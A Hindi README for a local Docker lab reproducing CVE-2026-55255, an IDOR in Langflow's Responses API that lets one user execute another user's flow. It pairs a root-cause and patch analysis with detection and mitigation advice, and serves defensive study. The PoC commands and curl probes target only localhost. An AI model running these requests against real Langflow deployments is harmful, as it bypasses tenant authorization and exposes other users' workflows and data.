इस स्थानीय लैब में प्रदर्शित HTTP सत्यापन पथ निम्न है:```text Authenticated attacker API key → POST /api/v1/responses → request body sets model to victim-owned flow UUID → vulnerable target executes the victim-owned flow → patched target returns flow_not_found and does not execute the victim-owned flow

पैच किए गए टारगेट में, वही क्रॉस-यूज़र अनुरोध विक्टिम मार्कर नहीं लौटाता और OpenAI-शैली की त्रुटि बॉडी लौटाता है:```json {"error":{"message":"Flow with id '' not found","type":"invalid_request_error","code":"flow_not_found"}}

यह लैब मानता है कि हमलावर को पीड़ित के फ्लो UUID का पहले से पता है। PoC फ्लो ID का ब्रूट-फोर्स नहीं करता, फ्लो की गणना नहीं करता, या पीड़ित के फ्लो ID खोजने का प्रयास नहीं करता।

यह लैब निम्नलिखित के अवलोकनीय HTTP व्यवहार पर केंद्रित है:```text POST /api/v1/responses

प्रयोगशाला कमजोर लक्ष्य में अनधिकृत क्रॉस-यूज़र फ्लो निष्पादन और पैच किए गए लक्ष्य में अवरुद्ध व्यवहार प्रदर्शित करती है।

प्रयोगशाला निम्नलिखित प्रदर्शित नहीं करती:

• फ्लो UUID का ब्रूट-फोर्सिंग,
• फ्लो ID गणना (enumeration),
• क्रेडेंशियल चोरी,
• डेटाबेस डंपिंग,
• वास्तविक LLM प्रदाता API कुंजियों का उपयोग,
• वास्तविक उत्पादन डेटा तक पहुंच,
• बाहरी कॉलबैक,
• रिमोट कमांड निष्पादन,
• मैलवेयर,
• स्थिरता (persistence),
• या गैर-प्रयोगशाला प्रणालियों के विरुद्ध हमले।

मूल कारण सारांश

CVE-2026-55255 का मूल कारण Langflow की फ्लो समाधान (flow resolution) लॉजिक में एक प्राधिकरण अंतराल है।

/api/v1/responses एंडपॉइंट model फ़ील्ड के माध्यम से एक फ्लो UUID स्वीकार करता है। कमजोर संस्करणों में, get_flow_by_id_or_endpoint_name() के अंदर UUID लुकअप पथ बिना यह सुनिश्चित किए कि हल किया गया Flow.user_id प्रमाणित API-कुंजी उपयोगकर्ता से मेल खाता है, सीधे प्राथमिक कुंजी द्वारा Flow ऑब्जेक्ट लोड कर सकता था।

कमजोर व्यवहार को इस प्रकार संक्षेपित किया जा सकता है:```text Attacker owns API key → attacker sends POST /api/v1/responses → model contains victim-owned flow UUID → flow resolver loads Flow by UUID → resolver does not enforce Flow.user_id == attacker_user.id → response endpoint executes the victim-owned flow → attacker receives victim flow output

सुरक्षा समस्या यह नहीं है कि हमलावर अपने स्वयं के फ्लो के साथ /api/v1/responses को कॉल कर सकता है। यह अपेक्षित व्यवहार है। समस्या यह है कि एक निम्न-विशेषाधिकार प्राप्त प्रमाणित उपयोगकर्ता एंडपॉइंट को किसी अन्य उपयोगकर्ता के स्वामित्व वाले फ्लो को निष्पादित करने के लिए प्रेरित कर सकता है जब पीड़ित फ्लो UUID प्रदान किया जाता है।

सुरक्षा सबक यह है:```text Object lookup by UUID is not authorization. Every object lookup used by an authenticated API route must be scoped to the authenticated principal or followed by a strict ownership check before the object is used.

असुरक्षित UUID शाखा में, फ्लो को ID द्वारा लोड किया गया था:```python flow_id = UUID(flow_id_or_name) flow = await session.get(Flow, flow_id)

बिना उस स्वामी जांच के, एक मान्य flow UUID किसी अन्य उपयोगकर्ता से संबंधित होने पर भी Flow ऑब्जेक्ट को हल करने के लिए पर्याप्त था।

पैच किया गया संस्करण user_id का सामान्यीकरण जोड़ता है और UUID पथ पर स्वामी स्कोपिंग लागू करता है:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

यही कारण है कि पैच की गई लैब प्रतिक्रिया लौटाती है:```json {"error":{"code":"flow_not_found"}}

प्रमाणित रैपरों के लिए जैसे:```python async def get_flow_for_api_key_user( flow_id_or_name: str, api_key_user: Annotated[UserRead, Depends(api_key_security)], ) -> FlowRead: return await get_flow_by_id_or_endpoint_name(flow_id_or_name, api_key_user.id)

स्रोत पैच सारांश

Langflow 1.9.1 कमजोर फ्लो रिज़ॉल्यूशन पथ को कठोर बनाता है, क्रॉस-यूज़र लुकअप को न मिलने के रूप में मानकर तथा संबंधित फ्लो निष्पादन मार्गों को रिज़ॉल्वर में प्रमाणित उपयोगकर्ता संदर्भ पास करना सुनिश्चित करके।

मुख्य पैच की गई लॉजिक है:```python if flow is not None and uuid_user_id is not None and flow.user_id != uuid_user_id: flow = None

सुरक्षा-संबंधित परिवर्तन है:```text Before: flow UUID → session.get(Flow, flow_id) → Flow object returned without owner scoping → downstream execution path can run victim-owned flow

After: flow UUID → session.get(Flow, flow_id) → compare Flow.user_id with authenticated user id → cross-user result becomes None → shared not-found behavior fires → victim-owned flow is not executed

लैब आर्किटेक्चर

लैब Docker Compose के माध्यम से दो पृथक Langflow लक्ष्य चलाती है।```text . ├── docker-compose.yml ├── poc/ │ └── validate_idor.py ├── seed/ │ ├── Dockerfile │ └── seed.py ├── src/ │ ├── langflow-1.9.0/ │ └── langflow-1.9.1/ ├── state/ │ ├── patched.json │ ├── patched.ready │ ├── vuln.json │ └── vuln.ready └── README.md

seed services निम्नलिखित के दौरान स्वचालित रूप से चलती हैं:```bash docker compose up --build --wait

बीज-निर्मित state/*.json फ़ाइलें अस्थायी स्थानीय परीक्षण मान प्रदान करती हैं, जैसे API कुंजियाँ और flow UUIDs।

PoC state/*.json नहीं पढ़ता। उपयोगकर्ता लक्ष्य URL, API कुंजी, flow ID, और वैकल्पिक अपेक्षित मार्कर को कमांड-लाइन तर्कों के माध्यम से प्रदान करता है।

लैब संवेदनशील /api/v1/responses रूट को न तो बनाता है और न ही संशोधित करता है। यह रूट Langflow द्वारा प्रदान किया जाता है।

आवश्यकताएँ

• Docker Desktop या Docker Engine
• Docker Compose v2 जिसमें --wait सपोर्ट हो
• Python 3
• इस README में सुविधाजनक कमांड के लिए jq
• पहले Docker image pull के दौरान इंटरनेट एक्सेस

PoC के लिए किसी Python third-party पैकेज की आवश्यकता नहीं है। PoC केवल Python standard library मॉड्यूल का उपयोग करता है।

Seed container आंतरिक रूप से Python requests पैकेज स्थापित करता है। यह पैकेज केवल lab setup के दौरान seed services द्वारा उपयोग किया जाता है, PoC द्वारा नहीं।

त्वरित आरंभ

लैब को एक साफ़ (clean) अवस्था से प्रारंभ करें:```bash docker compose down -v --remove-orphans find state -type f ( -name ".json" -o -name ".ready" ) -delete docker compose up --build --wait

अपेक्षित स्वस्थ सेवाएँ:```text cve-2026-55255-vuln cve-2026-55255-patched cve-2026-55255-seed-vuln cve-2026-55255-seed-patched

बीज स्थिति फ़ाइलों की जाँच करें:```bash ls -la state cat state/vuln.json | jq . cat state/patched.json | jq .

कमजोर लक्ष्य के विरुद्ध अनुरोध-आधारित सत्यापन चलाएँ:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/vuln.json)"
--api-key "$(jq -r '.attacker.api_key' state/vuln.json)"
--flow-id "$(jq -r '.victim_flow.id' state/vuln.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/vuln.json)"

PoC उपयोग

PoC एक लक्ष्य URL, एक API कुंजी, एक flow ID, और एक वैकल्पिक अपेक्षित मार्कर स्वीकार करता है:```bash python3 poc/validate_idor.py
--url <target_url>
--api-key <api_key>
--flow-id <target_flow_id>
--expect-marker <expected_output_marker>

अनुरोध बॉडी:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

अपेक्षित असुरक्षित लक्ष्य सिग्नल:```text

[CVE-2026-55255 REQUEST-BASED VALIDATION] [TARGET] http://localhost:7860 [FLOW_ID] [API_KEY]

[REQUEST] POST http://localhost:7860/api/v1/responses x-api-key: Content-Type: application/json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

[RESPONSE] HTTP 200 flow execution observed : True expected marker : VICTIM_ONLY_CONTEXT_55255_VULN marker found : True

[BODY] ... "text":"VICTIM_ONLY_CONTEXT_55255_VULN\n\nowner=victim-user\n\ntenant=cve-2026-55255-lab" ...

======================================================================================== [CLASSIFICATION] VULNERABLE_BEHAVIOR - expected marker was returned. FINAL: VULNERABLE_BEHAVIOR_OBSERVED

पैच किया गया टारगेट

कमांड:```bash python3 poc/validate_idor.py
--url "$(jq -r '.public_url' state/patched.json)"
--api-key "$(jq -r '.attacker.api_key' state/patched.json)"
--flow-id "$(jq -r '.victim_flow.id' state/patched.json)"
--expect-marker "$(jq -r '.victim_flow.marker' state/patched.json)"

महत्वपूर्ण पैच किया गया संकेत है:```text attacker API key

• victim flow UUID
• no victim marker
• error.code = flow_not_found

इसका मतलब है कि लक्षित फ्लो निष्पादित हुआ, लेकिन PoC स्वयं यह साबित नहीं कर सकता कि प्रदान किया गया फ्लो ID किसी अन्य उपयोगकर्ता का है। स्वामित्व की पुष्टि लैब सीड डेटा, फ्लो ID के स्रोत, या अन्य अधिकृत साक्ष्य के माध्यम से की जानी चाहिए।

सत्यापन कैसे काम करता है

वैलिडेटर Langflow Responses API एंडपॉइंट पर एक HTTP POST अनुरोध भेजता है:```text /api/v1/responses

अनुरोध निकाय आपूर्ति किए गए फ्लो UUID को model मान के रूप में उपयोग करता है:```json { "model": "", "input": "cross-user CVE-2026-55255 validation request", "stream": false }

अपेक्षित पैच व्यवहार:```text request does not execute victim-owned flow response does not contain victim marker response indicates flow_not_found

यही कारण है कि PoC यह मानने के बजाय कि HTTP ट्रांसपोर्ट स्थिति 404 होनी चाहिए, JSON त्रुटि कोड की जाँच करता है।

PoC जानबूझकर केवल क्रॉस-यूज़र फ़्लो निष्पादन शर्त को मान्य करता है। यह फ़्लो आईडी खोजने, UUIDs का ब्रूट-फ़ोर्स करने, उपयोगकर्ताओं को सूचीबद्ध करने, सीक्रेट निकालने या बाहरी सेवाओं को ट्रिगर करने का प्रयास नहीं करता।

curl के साथ मैन्युअल HTTP पुनरुत्पादन

लैब सीड state/*.json में अस्थायी स्थानीय मान लिखता है। ये कमांड्स उन स्थानीय मानों का उपयोग करके curl अनुरोध बनाते हैं। स्टेट फ़ाइलें केवल लैब-संबंधी आर्टिफैक्ट हैं।

असुरक्षित प्रोब:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/vuln.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/vuln.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/vuln.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

पैच किया गया प्रोब:```bash curl -i -sS -X POST
"$(jq -r '.public_url' state/patched.json)/api/v1/responses"
-H "Content-Type: application/json"
-H "x-api-key: $(jq -r '.attacker.api_key' state/patched.json)"
--data "{ "model": "$(jq -r '.victim_flow.id' state/patched.json)", "input": "cross-user CVE-2026-55255 validation request", "stream": false }"

प्रभाव

CVE-2026-55255 बहु-उपयोगकर्ता या मल्टी-टेनेंट Langflow परिनियोजनों में सुरक्षा की दृष्टि से संवेदनशील है, क्योंकि यदि पीड़ित फ़्लो का UUID ज्ञात हो तो एक प्रमाणित उपयोगकर्ता दूसरे उपयोगकर्ता के फ़्लो को निष्पादित करने में सक्षम हो सकता है।

वास्तविक दुनिया पर संभावित प्रभाव इस बात पर निर्भर करता है कि पीड़ित-स्वामित्व वाला फ़्लो क्या करता है।

संभावित प्रभाव में निम्नलिखित शामिल हो सकते हैं:

• किसी अन्य उपयोगकर्ता के AI वर्कफ़्लो का अनधिकृत निष्पादन,
• पीड़ित फ़्लो द्वारा संसाधित डेटा का प्रकटीकरण,
• पीड़ित-स्वामित्व वाले प्रॉम्प्ट या वर्कफ़्लो आउटपुट तक पहुंच,
• पीड़ित-स्वामित्व वाले इंटीग्रेशन या कॉन्फ़िगर किए गए घटकों का उपयोग,
• पीड़ित-संबद्ध कंप्यूट या API संसाधनों की खपत,
• क्रॉस-यूज़र या क्रॉस-टेनेंट प्राधिकरण सीमा बायपास,
• और फ़्लो आउटपुट के माध्यम से सूचना का खुलासा।

व्यावहारिक शोषण क्षमता इस बात पर निर्भर करती है कि हमलावर एक मान्य पीड़ित फ़्लो UUID प्राप्त कर सकता है या नहीं। फ़्लो UUID का अनुमान लगाना इस लैब का केंद्र बिंदु नहीं है, और PoC फ़्लो आईडी पर ब्रूट-फ़ोर्स नहीं करता है।

यह लैब केवल सुरक्षित प्राधिकरण सीमा विफलता प्रदर्शित करता है:```text attacker API key

• victim flow UUID
• victim-only marker returned

संदिग्ध अनुरोध पैटर्न:```text x-api-key belongs to user A model contains flow UUID owned by user B

समीक्षा के लिए संभावित एप्लिकेशन-लेयर लॉग या टेलीमेट्री:

• API कुंजी स्वामी,
• अनुरोध पथ,
• model मान,
• हल किया गया flow ID,
• हल किया गया flow स्वामी,
• प्रतिक्रिया त्रुटि कोड,
• flow_not_found प्रतिक्रियाएँ,
• /api/v1/responses से सफलतापूर्वक पूर्ण प्रतिक्रियाएँ,
• असामान्य क्रॉस-यूज़र flow निष्पादन प्रयास,
• कई flow UUIDs के विरुद्ध बार-बार प्रयास,
• और कम-विशेषाधिकार वाले उपयोगकर्ता से असामान्य रूप से उच्च API उपयोग।

भेद्य सत्यापन आर्टिफैक्ट का उदाहरण:```text Request: POST /api/v1/responses x-api-key: attacker user's API key model: victim user's flow UUID

Response: status: completed error: null output contains victim-only marker

अनुशंसित निगरानी क्रियाएँ:

• /api/v1/responses के लिए API लॉग की समीक्षा करें।
• API कुंजी स्वामी को अनुरोधित फ़्लो स्वामी के साथ सहसंबंधित करें।
• क्रॉस-यूज़र फ़्लो UUID उपयोग पर अलर्ट करें।
• Responses API के विरुद्ध flow_not_found बर्स्ट की समीक्षा करें।
• नए बनाए गए या कम-विशेषाधिकार वाले उपयोगकर्ताओं द्वारा असामान्य रूप से उच्च API उपयोग की समीक्षा करें।
• सार्वजनिक या साझा चैनलों की समीक्षा करें जहाँ फ़्लो UUID उजागर हो सकते हैं।
• यदि दुरुपयोग का संदेह हो तो प्रभावित API कुंजियाँ रोटेट करें।
• संवेदनशील कनेक्टर, टूल या डेटा स्रोतों के लिए पीड़ित-स्वामित्व वाले फ़्लो की समीक्षा करें।

शमन और पैच नोट्स

Langflow को पैच किए गए संस्करण में अपग्रेड करें।

GitHub Advisory GHSA-qrpv-q767-xqq2, Langflow 1.9.1 को CVE-2026-55255 के लिए पैच किए गए संस्करण के रूप में सूचीबद्ध करता है। कुछ डाउनस्ट्रीम भेद्यता खुफिया स्रोत 1.9.2 का उल्लेख करते हैं या पैच किए गए संस्करण के बारे में मिश्रित शब्दावली रखते हैं। यह लैब सत्यापित करती है कि Langflow 1.9.1 परीक्षण किए गए /api/v1/responses क्रॉस-यूज़र निष्पादन पथ को flow_not_found के साथ अवरुद्ध करता है। उत्पादन वातावरण के लिए, लैब तुलना संस्करण पर रुकने के बजाय नवीनतम उपलब्ध Langflow रिलीज़ में अपडेट करें।

अनुशंसित शमन चरण:

• Langflow को पैच किए गए या नवीनतम उपलब्ध संस्करण में अपग्रेड करें।
• पुष्टि करें कि स्थापित संस्करण प्रभावित सीमा में नहीं है।
• जहाँ संभव हो, Langflow की पहुँच को विश्वसनीय नेटवर्क तक सीमित करें।
• API रूट्स के लिए प्रमाणीकरण आवश्यक बनाएँ।
• यदि शोषण का संदेह हो तो API कुंजियों की समीक्षा करें और रोटेट करें।
• फ़्लो स्वामित्व और साझाकरण कॉन्फ़िगरेशन की समीक्षा करें।
• क्रॉस-यूज़र /api/v1/responses अनुरोधों के लिए लॉग की समीक्षा करें।
• फ़्लो UUID को अनावश्यक रूप से उजागर करने से बचें।
• रिवर्स प्रॉक्सी या WAF ब्लॉक को अस्थायी नियंत्रण मानें, न कि अपग्रेड के विकल्प के रूप में।
• मल्टी-टेनेंट वातावरण में, परीक्षण करें कि API-कुंजी उपयोगकर्ता उन फ़्लो को निष्पादित नहीं कर सकते जिनके वे स्वामी नहीं हैं।

सुरक्षा इंजीनियरिंग सबक:

• ऑब्जेक्ट UUID की गोपनीयता पर प्राधिकरण नियंत्रण के रूप में भरोसा न करें।
• ऑब्जेक्ट लुकअप को प्रमाणित प्रिंसिपल द्वारा स्कोप करें।
• हल किए गए ऑब्जेक्ट का उपयोग करने से पहले स्वामित्व जाँच लागू करें।
• जब उन्हें प्रमाणित संदर्भ की आवश्यकता हो, तो सामान्य रिज़ॉल्वर हेल्पर्स के सीधे उपयोग को रूट निर्भरताओं के रूप में टालें।
• ऑब्जेक्ट अस्तित्व प्रकटीकरण से बचने के लिए not-found प्रतिक्रियाओं को सावधानी से संभालें।
• क्रॉस-यूज़र ऑब्जेक्ट एक्सेस के लिए प्रतिगमन परीक्षण जोड़ें।

सुरक्षा सीमाएँ

यह लैब केवल स्थानीय सुरक्षा अनुसंधान और नियंत्रित प्रदर्शन के लिए है।

PoC या मैन्युअल curl अनुरोध उन प्रणालियों के विरुद्ध न चलाएँ जिनके आप स्वामी नहीं हैं या जिनके परीक्षण के लिए आपके पास स्पष्ट प्राधिकरण नहीं है।

इस लैब में वास्तविक उत्पादन क्रेडेंशियल, ग्राहक डेटा, भुगतान डेटा, API कुंजियाँ, LLM प्रदाता कुंजियाँ, डेटाबेस क्रेडेंशियल या उत्पादन सीक्रेट्स का उपयोग न करें।

इच्छित दायरा स्थानीय Docker सेवाओं तक सीमित है, जैसे:```text http://localhost:7860 http://localhost:7861 http://127.0.0.1:7860 http://127.0.0.1:7861

संदर्भ

• CVE रिकॉर्ड: CVE-2026-55255 https://www.cve.org/CVERecord?id=CVE-2026-55255

• GitHub सलाह: GHSA-qrpv-q767-xqq2 https://github.com/advisories/GHSA-qrpv-q767-xqq2

• GitLab सलाह: CVE-2026-55255 https://advisories.gitlab.com/pypi/langflow/CVE-2026-55255/

• Langflow पुल अनुरोध: fix(security): close IDOR in get_flow_by_id_or_endpoint_name (LE-639) #12832 https://github.com/langflow-ai/langflow/pull/12832

• Langflow OpenAI Responses API दस्तावेज़ https://docs.langflow.org/api-openai-responses

• Langflow API कुंजियाँ और प्रमाणीकरण दस्तावेज़ https://docs.langflow.org/api-keys-and-authentication

• Langflow API संदर्भ उदाहरण https://docs.langflow.org/api-reference-api-examples

• Langflow GitHub रिपॉजिटरी https://github.com/langflow-ai/langflow

• Langflow Docker इमेज https://hub.docker.com/r/langflowai/langflow

• GHSA-qrpv-q767-xqq2 के लिए Tenable प्लगिन नोट https://www.tenable.com/plugins/container-security/443659

• Mondoo भेद्यता खुफिया: CVE-2026-55255 https://mondoo.com/vulnerability-intelligence/vulnerability/CVE-2026-55255